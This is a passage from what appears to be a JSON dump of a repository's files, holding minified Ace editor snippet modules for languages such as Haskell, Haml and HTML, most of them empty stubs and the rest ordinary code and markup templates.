ok.\\n\\n\tcode_change(_OldVsn, State, _Extra) ->\\n\t    {ok, State}.\\n\\n\t%%%===================================================================\\n\t%%% Internal functions\\n\t%%%===================================================================\\n\\n\",t.scope=\"erlang\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/forth.js",
    "content": "define(\"ace/snippets/forth\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"forth\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/ftl.js",
    "content": "define(\"ace/snippets/ftl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ftl\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/gcode.js",
    "content": "define(\"ace/snippets/gcode\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"gcode\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/gherkin.js",
    "content": "define(\"ace/snippets/gherkin\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"gherkin\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/gitignore.js",
    "content": "define(\"ace/snippets/gitignore\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"gitignore\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/glsl.js",
    "content": "define(\"ace/snippets/glsl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"glsl\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/golang.js",
    "content": "define(\"ace/snippets/golang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"golang\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/groovy.js",
    "content": "define(\"ace/snippets/groovy\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"groovy\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/haml.js",
    "content": "define(\"ace/snippets/haml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet t\\n\t%table\\n\t\t%tr\\n\t\t\t%th\\n\t\t\t\t${1:headers}\\n\t\t%tr\\n\t\t\t%td\\n\t\t\t\t${2:headers}\\nsnippet ul\\n\t%ul\\n\t\t%li\\n\t\t\t${1:item}\\n\t\t%li\\nsnippet =rp\\n\t= render :partial => '${1:partial}'\\nsnippet =rpl\\n\t= render :partial => '${1:partial}', :locals => {}\\nsnippet =rpc\\n\t= render :partial => '${1:partial}', :collection => @$1\\n\\n\",t.scope=\"haml\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/handlebars.js",
    "content": "define(\"ace/snippets/handlebars\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"handlebars\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/haskell.js",
    "content": "define(\"ace/snippets/haskell\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet lang\\n\t{-# LANGUAGE ${1:OverloadedStrings} #-}\\nsnippet info\\n\t-- |\\n\t-- Module      :  ${1:Module.Namespace}\\n\t-- Copyright   :  ${2:Author} ${3:2011-2012}\\n\t-- License     :  ${4:BSD3}\\n\t--\\n\t-- Maintainer  :  ${5:email@something.com}\\n\t-- Stability   :  ${6:experimental}\\n\t-- Portability :  ${7:unknown}\\n\t--\\n\t-- ${8:Description}\\n\t--\\nsnippet import\\n\timport           ${1:Data.Text}\\nsnippet import2\\n\timport           ${1:Data.Text} (${2:head})\\nsnippet importq\\n\timport qualified ${1:Data.Text} as ${2:T}\\nsnippet inst\\n\tinstance ${1:Monoid} ${2:Type} where\\n\t\t${3}\\nsnippet type\\n\ttype ${1:Type} = ${2:Type}\\nsnippet data\\n\tdata ${1:Type} = ${2:$1} ${3:Int}\\nsnippet newtype\\n\tnewtype ${1:Type} = ${2:$1} ${3:Int}\\nsnippet class\\n\tclass ${1:Class} a where\\n\t\t${2}\\nsnippet module\\n\tmodule `substitute(substitute(expand('%:r'), '[/\\\\\\\\]','.','g'),'^\\\\%(\\\\l*\\\\.\\\\)\\\\?','','')` (\\n\t)\twhere\\n\t`expand('%') =~ 'Main' ? \\\"\\\\n\\\\nmain = do\\\\n  print \\\\\\\"hello world\\\\\\\"\\\" : \\\"\\\"`\\n\\nsnippet const\\n\t${1:name} :: ${2:a}\\n\t$1 = ${3:undefined}\\nsnippet fn\\n\t${1:fn} :: ${2:a} -> ${3:a}\\n\t$1 ${4} = ${5:undefined}\\nsnippet fn2\\n\t${1:fn} :: ${2:a} -> ${3:a} -> ${4:a}\\n\t$1 ${5} = ${6:undefined}\\nsnippet ap\\n\t${1:map} ${2:fn} ${3:list}\\nsnippet do\\n\tdo\\n\t\t\\nsnippet \\u03bb\\n\t\\\\${1:x} -> ${2}\\nsnippet \\\\\\n\t\\\\${1:x} -> ${2}\\nsnippet <-\\n\t${1:a} <- ${2:m a}\\nsnippet \\u2190\\n\t${1:a} <- ${2:m a}\\nsnippet ->\\n\t${1:m a} -> ${2:a}\\nsnippet \\u2192\\n\t${1:m a} -> ${2:a}\\nsnippet tup\\n\t(${1:a}, ${2:b})\\nsnippet tup2\\n\t(${1:a}, ${2:b}, ${3:c})\\nsnippet tup3\\n\t(${1:a}, ${2:b}, ${3:c}, ${4:d})\\nsnippet rec\\n\t${1:Record} { ${2:recFieldA} = ${3:undefined}\\n\t\t\t\t, ${4:recFieldB} = ${5:undefined}\\n\t\t\t\t}\\nsnippet case\\n\tcase ${1:something} of\\n\t\t${2} -> ${3}\\nsnippet let\\n\tlet ${1} = ${2}\\n\tin ${3}\\nsnippet where\\n\twhere\\n\t\t${1:fn} = ${2:undefined}\\n\",t.scope=\"haskell\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/haxe.js",
    "content": "define(\"ace/snippets/haxe\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"haxe\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/html.js",
    "content": "define(\"ace/snippets/html\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Some useful Unicode entities\\n# Non-Breaking Space\\nsnippet nbs\\n\t&nbsp;\\n# \\u2190\\nsnippet left\\n\t&#x2190;\\n# \\u2192\\nsnippet right\\n\t&#x2192;\\n# \\u2191\\nsnippet up\\n\t&#x2191;\\n# \\u2193\\nsnippet down\\n\t&#x2193;\\n# \\u21a9\\nsnippet return\\n\t&#x21A9;\\n# \\u21e4\\nsnippet backtab\\n\t&#x21E4;\\n# \\u21e5\\nsnippet tab\\n\t&#x21E5;\\n# \\u21e7\\nsnippet shift\\n\t&#x21E7;\\n# \\u2303\\nsnippet ctrl\\n\t&#x2303;\\n# \\u2305\\nsnippet enter\\n\t&#x2305;\\n# \\u2318\\nsnippet cmd\\n\t&#x2318;\\n# \\u2325\\nsnippet option\\n\t&#x2325;\\n# \\u2326\\nsnippet delete\\n\t&#x2326;\\n# \\u232b\\nsnippet backspace\\n\t&#x232B;\\n# \\u238b\\nsnippet esc\\n\t&#x238B;\\n# Generic Doctype\\nsnippet doctype HTML 4.01 Strict\\n\t<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\\n\t\"http://www.w3.org/TR/html4/strict.dtd\">\\nsnippet doctype HTML 4.01 Transitional\\n\t<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\\n\t\"http://www.w3.org/TR/html4/loose.dtd\">\\nsnippet doctype HTML 5\\n\t<!DOCTYPE HTML>\\nsnippet doctype XHTML 1.0 Frameset\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\\nsnippet doctype XHTML 1.0 Strict\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\\nsnippet doctype XHTML 1.0 Transitional\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\\nsnippet doctype XHTML 1.1\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\"\\n\t\"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\\n# HTML Doctype 4.01 Strict\\nsnippet docts\\n\t<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\\n\t\"http://www.w3.org/TR/html4/strict.dtd\">\\n# HTML Doctype 4.01 Transitional\\nsnippet doct\\n\t<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\\n\t\"http://www.w3.org/TR/html4/loose.dtd\">\\n# HTML Doctype 5\\nsnippet doct5\\n\t<!DOCTYPE HTML>\\n# XHTML Doctype 1.0 Frameset\\nsnippet docxf\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\\n# XHTML Doctype 1.0 Strict\\nsnippet docxs\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\\n# XHTML Doctype 1.0 Transitional\\nsnippet docxt\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\\n# XHTML Doctype 1.1\\nsnippet docx\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\"\\n\t\"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\\n# Attributes\\nsnippet attr\\n\t${1:attribute}=\"${2:property}\"\\nsnippet attr+\\n\t${1:attribute}=\"${2:property}\" attr+${3}\\nsnippet .\\n\tclass=\"${1}\"${2}\\nsnippet #\\n\tid=\"${1}\"${2}\\nsnippet alt\\n\talt=\"${1}\"${2}\\nsnippet charset\\n\tcharset=\"${1:utf-8}\"${2}\\nsnippet data\\n\tdata-${1}=\"${2:$1}\"${3}\\nsnippet for\\n\tfor=\"${1}\"${2}\\nsnippet height\\n\theight=\"${1}\"${2}\\nsnippet href\\n\thref=\"${1:#}\"${2}\\nsnippet lang\\n\tlang=\"${1:en}\"${2}\\nsnippet media\\n\tmedia=\"${1}\"${2}\\nsnippet name\\n\tname=\"${1}\"${2}\\nsnippet rel\\n\trel=\"${1}\"${2}\\nsnippet scope\\n\tscope=\"${1:row}\"${2}\\nsnippet src\\n\tsrc=\"${1}\"${2}\\nsnippet title=\\n\ttitle=\"${1}\"${2}\\nsnippet type\\n\ttype=\"${1}\"${2}\\nsnippet value\\n\tvalue=\"${1}\"${2}\\nsnippet width\\n\twidth=\"${1}\"${2}\\n# Elements\\nsnippet a\\n\t<a href=\"${1:#}\">${2:$1}</a>\\nsnippet a.\\n\t<a class=\"${1}\" href=\"${2:#}\">${3:$1}</a>\\nsnippet a#\\n\t<a id=\"${1}\" href=\"${2:#}\">${3:$1}</a>\\nsnippet a:ext\\n\t<a href=\"http://${1:example.com}\">${2:$1}</a>\\nsnippet a:mail\\n\t<a href=\"mailto:${1:joe@example.com}?subject=${2:feedback}\">${3:email me}</a>\\nsnippet abbr\\n\t<abbr title=\"${1}\">${2}</abbr>\\nsnippet address\\n\t<address>\\n\t\t${1}\\n\t</address>\\nsnippet area\\n\t<area shape=\"${1:rect}\" coords=\"${2}\" href=\"${3}\" alt=\"${4}\" />\\nsnippet area+\\n\t<area shape=\"${1:rect}\" coords=\"${2}\" href=\"${3}\" alt=\"${4}\" />\\n\tarea+${5}\\nsnippet area:c\\n\t<area shape=\"circle\" coords=\"${1}\" href=\"${2}\" alt=\"${3}\" />\\nsnippet area:d\\n\t<area shape=\"default\" coords=\"${1}\" href=\"${2}\" alt=\"${3}\" />\\nsnippet area:p\\n\t<area shape=\"poly\" coords=\"${1}\" href=\"${2}\" alt=\"${3}\" />\\nsnippet area:r\\n\t<area shape=\"rect\" coords=\"${1}\" href=\"${2}\" alt=\"${3}\" />\\nsnippet article\\n\t<article>\\n\t\t${1}\\n\t</article>\\nsnippet article.\\n\t<article class=\"${1}\">\\n\t\t${2}\\n\t</article>\\nsnippet article#\\n\t<article id=\"${1}\">\\n\t\t${2}\\n\t</article>\\nsnippet aside\\n\t<aside>\\n\t\t${1}\\n\t</aside>\\nsnippet aside.\\n\t<aside class=\"${1}\">\\n\t\t${2}\\n\t</aside>\\nsnippet aside#\\n\t<aside id=\"${1}\">\\n\t\t${2}\\n\t</aside>\\nsnippet audio\\n\t<audio src=\"${1}>${2}</audio>\\nsnippet b\\n\t<b>${1}</b>\\nsnippet base\\n\t<base href=\"${1}\" target=\"${2}\" />\\nsnippet bdi\\n\t<bdi>${1}</bdo>\\nsnippet bdo\\n\t<bdo dir=\"${1}\">${2}</bdo>\\nsnippet bdo:l\\n\t<bdo dir=\"ltr\">${1}</bdo>\\nsnippet bdo:r\\n\t<bdo dir=\"rtl\">${1}</bdo>\\nsnippet blockquote\\n\t<blockquote>\\n\t\t${1}\\n\t</blockquote>\\nsnippet body\\n\t<body>\\n\t\t${1}\\n\t</body>\\nsnippet br\\n\t<br />${1}\\nsnippet button\\n\t<button type=\"${1:submit}\">${2}</button>\\nsnippet button.\\n\t<button class=\"${1:button}\" type=\"${2:submit}\">${3}</button>\\nsnippet button#\\n\t<button id=\"${1}\" type=\"${2:submit}\">${3}</button>\\nsnippet button:s\\n\t<button type=\"submit\">${1}</button>\\nsnippet button:r\\n\t<button type=\"reset\">${1}</button>\\nsnippet canvas\\n\t<canvas>\\n\t\t${1}\\n\t</canvas>\\nsnippet caption\\n\t<caption>${1}</caption>\\nsnippet cite\\n\t<cite>${1}</cite>\\nsnippet code\\n\t<code>${1}</code>\\nsnippet col\\n\t<col />${1}\\nsnippet col+\\n\t<col />\\n\tcol+${1}\\nsnippet colgroup\\n\t<colgroup>\\n\t\t${1}\\n\t</colgroup>\\nsnippet colgroup+\\n\t<colgroup>\\n\t\t<col />\\n\t\tcol+${1}\\n\t</colgroup>\\nsnippet command\\n\t<command type=\"command\" label=\"${1}\" icon=\"${2}\" />\\nsnippet command:c\\n\t<command type=\"checkbox\" label=\"${1}\" icon=\"${2}\" />\\nsnippet command:r\\n\t<command type=\"radio\" radiogroup=\"${1}\" label=\"${2}\" icon=\"${3}\" />\\nsnippet datagrid\\n\t<datagrid>\\n\t\t${1}\\n\t</datagrid>\\nsnippet datalist\\n\t<datalist>\\n\t\t${1}\\n\t</datalist>\\nsnippet datatemplate\\n\t<datatemplate>\\n\t\t${1}\\n\t</datatemplate>\\nsnippet dd\\n\t<dd>${1}</dd>\\nsnippet dd.\\n\t<dd class=\"${1}\">${2}</dd>\\nsnippet dd#\\n\t<dd id=\"${1}\">${2}</dd>\\nsnippet del\\n\t<del>${1}</del>\\nsnippet details\\n\t<details>${1}</details>\\nsnippet dfn\\n\t<dfn>${1}</dfn>\\nsnippet dialog\\n\t<dialog>\\n\t\t${1}\\n\t</dialog>\\nsnippet div\\n\t<div>\\n\t\t${1}\\n\t</div>\\nsnippet div.\\n\t<div class=\"${1}\">\\n\t\t${2}\\n\t</div>\\nsnippet div#\\n\t<div id=\"${1}\">\\n\t\t${2}\\n\t</div>\\nsnippet dl\\n\t<dl>\\n\t\t${1}\\n\t</dl>\\nsnippet dl.\\n\t<dl class=\"${1}\">\\n\t\t${2}\\n\t</dl>\\nsnippet dl#\\n\t<dl id=\"${1}\">\\n\t\t${2}\\n\t</dl>\\nsnippet dl+\\n\t<dl>\\n\t\t<dt>${1}</dt>\\n\t\t<dd>${2}</dd>\\n\t\tdt+${3}\\n\t</dl>\\nsnippet dt\\n\t<dt>${1}</dt>\\nsnippet dt.\\n\t<dt class=\"${1}\">${2}</dt>\\nsnippet dt#\\n\t<dt id=\"${1}\">${2}</dt>\\nsnippet dt+\\n\t<dt>${1}</dt>\\n\t<dd>${2}</dd>\\n\tdt+${3}\\nsnippet em\\n\t<em>${1}</em>\\nsnippet embed\\n\t<embed src=${1} type=\"${2} />\\nsnippet fieldset\\n\t<fieldset>\\n\t\t${1}\\n\t</fieldset>\\nsnippet fieldset.\\n\t<fieldset class=\"${1}\">\\n\t\t${2}\\n\t</fieldset>\\nsnippet fieldset#\\n\t<fieldset id=\"${1}\">\\n\t\t${2}\\n\t</fieldset>\\nsnippet fieldset+\\n\t<fieldset>\\n\t\t<legend><span>${1}</span></legend>\\n\t\t${2}\\n\t</fieldset>\\n\tfieldset+${3}\\nsnippet figcaption\\n\t<figcaption>${1}</figcaption>\\nsnippet figure\\n\t<figure>${1}</figure>\\nsnippet footer\\n\t<footer>\\n\t\t${1}\\n\t</footer>\\nsnippet footer.\\n\t<footer class=\"${1}\">\\n\t\t${2}\\n\t</footer>\\nsnippet footer#\\n\t<footer id=\"${1}\">\\n\t\t${2}\\n\t</footer>\\nsnippet form\\n\t<form action=\"${1}\" method=\"${2:get}\" accept-charset=\"utf-8\">\\n\t\t${3}\\n\t</form>\\nsnippet form.\\n\t<form class=\"${1}\" action=\"${2}\" method=\"${3:get}\" accept-charset=\"utf-8\">\\n\t\t${4}\\n\t</form>\\nsnippet form#\\n\t<form id=\"${1}\" action=\"${2}\" method=\"${3:get}\" accept-charset=\"utf-8\">\\n\t\t${4}\\n\t</form>\\nsnippet h1\\n\t<h1>${1}</h1>\\nsnippet h1.\\n\t<h1 class=\"${1}\">${2}</h1>\\nsnippet h1#\\n\t<h1 id=\"${1}\">${2}</h1>\\nsnippet h2\\n\t<h2>${1}</h2>\\nsnippet h2.\\n\t<h2 class=\"${1}\">${2}</h2>\\nsnippet h2#\\n\t<h2 id=\"${1}\">${2}</h2>\\nsnippet h3\\n\t<h3>${1}</h3>\\nsnippet h3.\\n\t<h3 class=\"${1}\">${2}</h3>\\nsnippet h3#\\n\t<h3 id=\"${1}\">${2}</h3>\\nsnippet h4\\n\t<h4>${1}</h4>\\nsnippet h4.\\n\t<h4 class=\"${1}\">${2}</h4>\\nsnippet h4#\\n\t<h4 id=\"${1}\">${2}</h4>\\nsnippet h5\\n\t<h5>${1}</h5>\\nsnippet h5.\\n\t<h5 class=\"${1}\">${2}</h5>\\nsnippet h5#\\n\t<h5 id=\"${1}\">${2}</h5>\\nsnippet h6\\n\t<h6>${1}</h6>\\nsnippet h6.\\n\t<h6 class=\"${1}\">${2}</h6>\\nsnippet h6#\\n\t<h6 id=\"${1}\">${2}</h6>\\nsnippet head\\n\t<head>\\n\t\t<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\\n\\n\t\t<title>${1:`substitute(Filename(\\'\\', \\'Page Title\\'), \\'^.\\', \\'\\\\u&\\', \\'\\')`}</title>\\n\t\t${2}\\n\t</head>\\nsnippet header\\n\t<header>\\n\t\t${1}\\n\t</header>\\nsnippet header.\\n\t<header class=\"${1}\">\\n\t\t${2}\\n\t</header>\\nsnippet header#\\n\t<header id=\"${1}\">\\n\t\t${2}\\n\t</header>\\nsnippet hgroup\\n\t<hgroup>\\n\t\t${1}\\n\t</hgroup>\\nsnippet hgroup.\\n\t<hgroup class=\"${1}>\\n\t\t${2}\\n\t</hgroup>\\nsnippet hr\\n\t<hr />${1}\\nsnippet html\\n\t<html>\\n\t${1}\\n\t</html>\\nsnippet xhtml\\n\t<html xmlns=\"http://www.w3.org/1999/xhtml\">\\n\t${1}\\n\t</html>\\nsnippet html5\\n\t<!DOCTYPE html>\\n\t<html>\\n\t\t<head>\\n\t\t\t<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\\n\t\t\t<title>${1:`substitute(Filename(\\'\\', \\'Page Title\\'), \\'^.\\', \\'\\\\u&\\', \\'\\')`}</title>\\n\t\t\t${2:meta}\\n\t\t</head>\\n\t\t<body>\\n\t\t\t${3:body}\\n\t\t</body>\\n\t</html>\\nsnippet i\\n\t<i>${1}</i>\\nsnippet iframe\\n\t<iframe src=\"${1}\" frameborder=\"0\"></iframe>${2}\\nsnippet iframe.\\n\t<iframe class=\"${1}\" src=\"${2}\" frameborder=\"0\"></iframe>${3}\\nsnippet iframe#\\n\t<iframe id=\"${1}\" src=\"${2}\" frameborder=\"0\"></iframe>${3}\\nsnippet img\\n\t<img src=\"${1}\" alt=\"${2}\" />${3}\\nsnippet img.\\n\t<img class=\"${1}\" src=\"${2}\" alt=\"${3}\" />${4}\\nsnippet img#\\n\t<img id=\"${1}\" src=\"${2}\" alt=\"${3}\" />${4}\\nsnippet input\\n\t<input type=\"${1:text/submit/hidden/button/image}\" name=\"${2}\" id=\"${3:$2}\" value=\"${4}\" />${5}\\nsnippet input.\\n\t<input class=\"${1}\" type=\"${2:text/submit/hidden/button/image}\" name=\"${3}\" id=\"${4:$3}\" value=\"${5}\" />${6}\\nsnippet input:text\\n\t<input type=\"text\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:submit\\n\t<input type=\"submit\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:hidden\\n\t<input type=\"hidden\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:button\\n\t<input type=\"button\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:image\\n\t<input type=\"image\" name=\"${1}\" id=\"${2:$1}\" src=\"${3}\" alt=\"${4}\" />${5}\\nsnippet input:checkbox\\n\t<input type=\"checkbox\" name=\"${1}\" id=\"${2:$1}\" />${3}\\nsnippet input:radio\\n\t<input type=\"radio\" name=\"${1}\" id=\"${2:$1}\" />${3}\\nsnippet input:color\\n\t<input type=\"color\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:date\\n\t<input type=\"date\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:datetime\\n\t<input type=\"datetime\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:datetime-local\\n\t<input type=\"datetime-local\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:email\\n\t<input type=\"email\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:file\\n\t<input type=\"file\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:month\\n\t<input type=\"month\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:number\\n\t<input type=\"number\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:password\\n\t<input type=\"password\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:range\\n\t<input type=\"range\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:reset\\n\t<input type=\"reset\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:search\\n\t<input type=\"search\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:time\\n\t<input type=\"time\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:url\\n\t<input type=\"url\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:week\\n\t<input type=\"week\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet ins\\n\t<ins>${1}</ins>\\nsnippet kbd\\n\t<kbd>${1}</kbd>\\nsnippet keygen\\n\t<keygen>${1}</keygen>\\nsnippet label\\n\t<label for=\"${2:$1}\">${1}</label>\\nsnippet label:i\\n\t<label for=\"${2:$1}\">${1}</label>\\n\t<input type=\"${3:text/submit/hidden/button}\" name=\"${4:$2}\" id=\"${5:$2}\" value=\"${6}\" />${7}\\nsnippet label:s\\n\t<label for=\"${2:$1}\">${1}</label>\\n\t<select name=\"${3:$2}\" id=\"${4:$2}\">\\n\t\t<option value=\"${5}\">${6:$5}</option>\\n\t</select>\\nsnippet legend\\n\t<legend>${1}</legend>\\nsnippet legend+\\n\t<legend><span>${1}</span></legend>\\nsnippet li\\n\t<li>${1}</li>\\nsnippet li.\\n\t<li class=\"${1}\">${2}</li>\\nsnippet li+\\n\t<li>${1}</li>\\n\tli+${2}\\nsnippet lia\\n\t<li><a href=\"${2:#}\">${1}</a></li>\\nsnippet lia+\\n\t<li><a href=\"${2:#}\">${1}</a></li>\\n\tlia+${3}\\nsnippet link\\n\t<link rel=\"${1}\" href=\"${2}\" title=\"${3}\" type=\"${4}\" />${5}\\nsnippet link:atom\\n\t<link rel=\"alternate\" href=\"${1:atom.xml}\" title=\"Atom\" type=\"application/atom+xml\" />${2}\\nsnippet link:css\\n\t<link rel=\"stylesheet\" href=\"${2:style.css}\" type=\"text/css\" media=\"${3:all}\" />${4}\\nsnippet link:favicon\\n\t<link rel=\"shortcut icon\" href=\"${1:favicon.ico}\" type=\"image/x-icon\" />${2}\\nsnippet link:rss\\n\t<link rel=\"alternate\" href=\"${1:rss.xml}\" title=\"RSS\" type=\"application/atom+xml\" />${2}\\nsnippet link:touch\\n\t<link rel=\"apple-touch-icon\" href=\"${1:favicon.png}\" />${2}\\nsnippet map\\n\t<map name=\"${1}\">\\n\t\t${2}\\n\t</map>\\nsnippet map.\\n\t<map class=\"${1}\" name=\"${2}\">\\n\t\t${3}\\n\t</map>\\nsnippet map#\\n\t<map name=\"${1}\" id=\"${2:$1}>\\n\t\t${3}\\n\t</map>\\nsnippet map+\\n\t<map name=\"${1}\">\\n\t\t<area shape=\"${2}\" coords=\"${3}\" href=\"${4}\" alt=\"${5}\" />${6}\\n\t</map>${7}\\nsnippet mark\\n\t<mark>${1}</mark>\\nsnippet menu\\n\t<menu>\\n\t\t${1}\\n\t</menu>\\nsnippet menu:c\\n\t<menu type=\"context\">\\n\t\t${1}\\n\t</menu>\\nsnippet menu:t\\n\t<menu type=\"toolbar\">\\n\t\t${1}\\n\t</menu>\\nsnippet meta\\n\t<meta http-equiv=\"${1}\" content=\"${2}\" />${3}\\nsnippet meta:compat\\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=${1:7,8,edge}\" />${3}\\nsnippet meta:refresh\\n\t<meta http-equiv=\"refresh\" content=\"text/html;charset=UTF-8\" />${3}\\nsnippet meta:utf\\n\t<meta http-equiv=\"content-type\" content=\"text/html;charset=UTF-8\" />${3}\\nsnippet meter\\n\t<meter>${1}</meter>\\nsnippet nav\\n\t<nav>\\n\t\t${1}\\n\t</nav>\\nsnippet nav.\\n\t<nav class=\"${1}\">\\n\t\t${2}\\n\t</nav>\\nsnippet nav#\\n\t<nav id=\"${1}\">\\n\t\t${2}\\n\t</nav>\\nsnippet noscript\\n\t<noscript>\\n\t\t${1}\\n\t</noscript>\\nsnippet object\\n\t<object data=\"${1}\" type=\"${2}\">\\n\t\t${3}\\n\t</object>${4}\\n# Embed QT Movie\\nsnippet movie\\n\t<object width=\"$2\" height=\"$3\" classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\"\\n\t codebase=\"http://www.apple.com/qtactivex/qtplugin.cab\">\\n\t\t<param name=\"src\" value=\"$1\" />\\n\t\t<param name=\"controller\" value=\"$4\" />\\n\t\t<param name=\"autoplay\" value=\"$5\" />\\n\t\t<embed src=\"${1:movie.mov}\"\\n\t\t\twidth=\"${2:320}\" height=\"${3:240}\"\\n\t\t\tcontroller=\"${4:true}\" autoplay=\"${5:true}\"\\n\t\t\tscale=\"tofit\" cache=\"true\"\\n\t\t\tpluginspage=\"http://www.apple.com/quicktime/download/\" />\\n\t</object>${6}\\nsnippet ol\\n\t<ol>\\n\t\t${1}\\n\t</ol>\\nsnippet ol.\\n\t<ol class=\"${1}>\\n\t\t${2}\\n\t</ol>\\nsnippet ol#\\n\t<ol id=\"${1}>\\n\t\t${2}\\n\t</ol>\\nsnippet ol+\\n\t<ol>\\n\t\t<li>${1}</li>\\n\t\tli+${2}\\n\t</ol>\\nsnippet opt\\n\t<option value=\"${1}\">${2:$1}</option>\\nsnippet opt+\\n\t<option value=\"${1}\">${2:$1}</option>\\n\topt+${3}\\nsnippet optt\\n\t<option>${1}</option>\\nsnippet optgroup\\n\t<optgroup>\\n\t\t<option value=\"${1}\">${2:$1}</option>\\n\t\topt+${3}\\n\t</optgroup>\\nsnippet output\\n\t<output>${1}</output>\\nsnippet p\\n\t<p>${1}</p>\\nsnippet param\\n\t<param name=\"${1}\" value=\"${2}\" />${3}\\nsnippet pre\\n\t<pre>\\n\t\t${1}\\n\t</pre>\\nsnippet progress\\n\t<progress>${1}</progress>\\nsnippet q\\n\t<q>${1}</q>\\nsnippet rp\\n\t<rp>${1}</rp>\\nsnippet rt\\n\t<rt>${1}</rt>\\nsnippet ruby\\n\t<ruby>\\n\t\t<rp><rt>${1}</rt></rp>\\n\t</ruby>\\nsnippet s\\n\t<s>${1}</s>\\nsnippet samp\\n\t<samp>\\n\t\t${1}\\n\t</samp>\\nsnippet 